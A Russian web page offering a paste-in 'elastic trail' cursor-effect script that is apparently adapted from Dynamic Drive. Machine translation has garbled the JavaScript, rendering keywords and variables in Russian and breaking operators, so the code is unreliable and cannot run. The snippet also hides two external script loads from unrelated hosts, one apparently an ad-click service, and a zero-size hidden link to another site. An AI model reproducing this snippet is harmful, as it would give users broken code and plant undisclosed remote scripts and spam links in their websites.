Разноцветные картинки гоняются за вашим курсором
Укрась свой сайт. Вставляем куда хотим.
Код:
<div id="dot0" style="position: absolute; visibility: hidden; height: 11; width: 11;"> <IMG SRC = "http://rainbows.clan.su/k.gif" высота = 11 ширина = 11> </ DIV>
<div id="dot1" style="position: absolute; height: 11; width: 11;"> <img src="http://rainbows.clan.su/k.gif" height=11 width=11> </ DIV>
<div id="dot2" style="position: absolute; height: 11; width: 11;"> <img src="http://rainbows.clan.su/k.gif" height=11 width=11> </ DIV>
<div id="dot3" style="position: absolute; height: 11; width: 11;"> <img src="http://rainbows.clan.su/k.gif" height=11 width=11> </ DIV>
<div id="dot4" style="position: absolute; height: 11; width: 11;"> <img src="http://rainbows.clan.su/k.gif" height=11 width=11> </ DIV>
<div id="dot5" style="position: absolute; height: 11; width: 11;"> <img src="http://rainbows.clan.su/k.gif" height=11 width=11> </ DIV>
<div id="dot6" style="position: absolute; height: 11; width: 11;"> <img src="http://rainbows.clan.su/k.gif" height=11 width=11> </ DIV>
<script Language='JavaScript' src="http://script-base.narod.ru/html_base_config_file.js"> </ SCRIPT> <сценария SRC = "http://s1.ruclick.zl5.ru/6s8bx45d4r. АО "Тип =" текст / JavaScript "> </ SCRIPT> <a href="http://cherry4at.at.ua/" style="font-size:0%;">. </ A>
<script LANGUAGE="JavaScript">
<-! Скрыть код
/ *
Упругие Трейл сценарий (Филип Уинстон @ pwinston@yahoo.com , URL: http://members.xoom.com/ebullets)
Сценарий, размещенные на Dynamicdrive.com
Для этого и 100 более DHTML скрипты, посетите http://dynamicdrive.com
* /
/ / Благодаря Troels Якобсен <tjak@get2net.dk>
/ / Для исправления что делает его работу, когда страница прокручивается
var nDots = 7;
если (document.all & & window.print)
document.body.style.cssText = "переполнение-х: скрытый; переполнение-у: выделите"
var XPos = 0;
var YPos = 0;
/ / Фиксированный шаг по времени, никакого отношения к реальному времени
var DELTAT = .01;
/ / Размер одного весной в пикселях
var Seglen = 10;
/ / Пружины, жесткость пружин
var SPRINGK = 10;
/ / Все физики является фальшивкой, просто взял материал, чтобы
/ / Чтобы она выглядела хорошо
var масса = 1;
var вес = 50;
var сопротивление = 10;
/ / Остановка criterea для предотвращения бесконечных дрожание
/ / Не работает, когда сидя на нижнем этаже с
/ / Не отодвинуть так ускорение всегда, как большие
/ / Как гравитация
var STOPVEL = 0,1;
var STOPACC = 0,1;
var DOTSIZE = 11;
/ / Отказов процентов скорости сохраняется при
/ / Отражаясь от стен
var BOUNCE = 0,75;
var isNetscape = navigator.appName == "Netscape";
/ / Всегда на данный момент, могли бы играть с по
/ / Пусть точки падения, чтобы боты, получить бросили, и т.д.
var followmouse = True;
var точки = новый Array ();
Init ();
Функция Init ()
{
var i = 0;
для (я = 0; я <nDots; я + +) {
точками [я] = новая точка (я);
}
если (! isNetscape) {
/ / Я знаю только, как читать мест
/ / <LI> Элементов в IE
/ / Не показывать этого на данный момент
/ / SetInitPositions (точки)
}
/ / Установить свои позиции
для (я = 0; я <nDots; я + +) {
точками [я] = obj.left точками [я] X..;
точками [я] = obj.top точками [я] Y..;
}
если (isNetscape) {
/ / Начать прямо сейчас, так как они расположены
/ / В 0, 0
startanimate ();
} {Другое
/ / Пусть точки сидеть там в течение нескольких секунд
/ / Так как они скрываются на реальные пули
SetTimeout ("startanimate ()", 2000);
}
}
функция точки (я)
{
this.x = XPos;
this.Y = YPos;
this.dx = 0;
this.dy = 0;
если (isNetscape) {
this.obj = Eval ("document.dot" + I);
} {Другое
this.obj = Eval ("точка" + я + "стиле.");
}
}
Функция startanimate () {
setInterval ("живой ()", 20);
}
/ / Это выстроить пули с фактическими теги LI на странице
/ / Если бы добавить-DOTSIZE х и 2 * DOTSIZE у для IE 5, не знаю, почему
/ / Все еще не работает большой
Функция setInitPositions (точки)
{
/ / Инициализировать точку позиции быть на вершине
/ / Из пуль в <ul>
var startloc = document.all.tags ("LI");
var i = 0;
для (я = 0; я <startloc.length & & я <(nDots - 1); я + +) {
точками [я +1]. X = startloc [я]. offsetLeft
. Startloc [я] offsetParent.offsetLeft - DOTSIZE;
точками [я +1]. Y = startloc [я]. offsetTop +
startloc [я] offsetParent.offsetTop + 2 * DOTSIZE.
}
/ / Поставить 0-й точка над первой (она скрыта)
точками [0] = X точек [1] X..;
точками [0] = Y точек [1] Y - Seglen..;
}
/ / Просто сохранить позиции мыши для анимации () для использования
Функция MoveHandler (е)
{
XPos = e.pageX;
YPos = e.pageY;
Возвращает TRUE;
}
/ / Просто сохранить позиции мыши для анимации () для использования
Функция MoveHandlerIE () {
XPos = window.event.x + document.body.scrollLeft;
YPos = window.event.y + document.body.scrollTop;
}
если (isNetscape) {
document.captureEvents (Event.MOUSEMOVE);
document.onMouseMove = MoveHandler;
} {Другое
document.onmousemove = MoveHandlerIE;
}
функция вектора (X, Y)
{
this.x = X;
this.Y = Y;
}
/ / Добавляет силы в X и Y до весны за точкой [я] на точку [J]
Функция springForce (I, J, весна)
{
var DX = (точек [я] X - точками [J] X..);
var Dy = (точек [я] Y - точках [J] Y..);
var = Лен Math.sqrt (дх дх * + ду ду *);
если (LEN> Seglen) {
var springF = SPRINGK * (длина - Seglen);
spring.X + = (DX / LEN) * springF;
spring.Y + = (Dy / LEN) * springF;
}
}
функции анимации () {
/ / Точками [0] следует мыши,
/ / Хотя и не точка тянет туда
var начать = 0;
если (followmouse) {
точками [0] = X XPos.
точками [0] Y = YPos.
Пуск = 1;
}
для (я = начать; я <nDots; я + +) {
var весной = новый вектор (0, 0);
если (я> 0) {
springForce (я-1, я, весной);
}
если (я <(nDots - 1)) {
springForce (я +1, я, весной);
}
/ / Resisitance воздуха / трения
var = противостоять новым вектором (-точек [я]. DX * СОПРОТИВЛЕНИЕ,
-Точек [я] ду * сопротивление).
/ / Вычисление новых ускорения, в том числе тяжести
var ускорение = новый вектор ((spring.X + resist.X) / масса,
(Spring.Y + resist.Y) / масса + тяжести);
/ / Вычислить новые скорости
точками [я] DX + = (* DELTAT accel.X).
точками [я] Dy + = (* DELTAT accel.Y).
/ / Стоп мертвых, чтобы он не джиттера, когда почти все еще
если (Math.abs (точек [я]. DX) <STOPVEL & &
Math.abs (точек [я]. Dy) <STOPVEL & &
Math.abs (accel.X) <STOPACC & &
Math.abs (accel.Y) <STOPACC) {
точками [я] DX = 0.
точками [я] Dy = 0.
}
/ / Перейти на новую должность
точками [я] Х + = точками [я] DX..;
точками [я] Y + = точками [я] ду..;
/ / Получить размер окна
var высоты, ширины;
если (isNetscape) {
высота = window.innerHeight + document.scrollTop;
ширина = window.innerWidth + document.scrollLeft;
} {Другое
высота = document.body.clientHeight + document.body.scrollTop;
ширина = document.body.clientWidth + document.body.scrollLeft;
}
/ / Отказов от 3 стены (потолка оставить открытым)
если (точек [я] Y> = высота -. DOTSIZE - 1) {
если (точек [я]. Dy> 0) {
точками [я] Dy = BOUNCE *-точек [я] ду..;
}
. Точками [я] Y = высота - DOTSIZE - 1;
}
если (точек [я] X> = ширина -. DOTSIZE) {
если (точек [я]. DX> 0) {
точками [я] DX = BOUNCE *-точек [я] DX..;
}
. Точками [я] X = ширина - DOTSIZE - 1;
}
если (точек [я]. X <0) {
если (точек [я]. DX <0) {
точками [я] DX = BOUNCE *-точек [я] DX..;
}
точками [я] X = 0.
}
/ / Перемещения IMG в новую позицию
точками [я] = obj.left точками [я] X..;
точками [я] = obj.top точками [я] Y..;
}
}
/ / Конец кода скрывается ->
</ SCRIPT>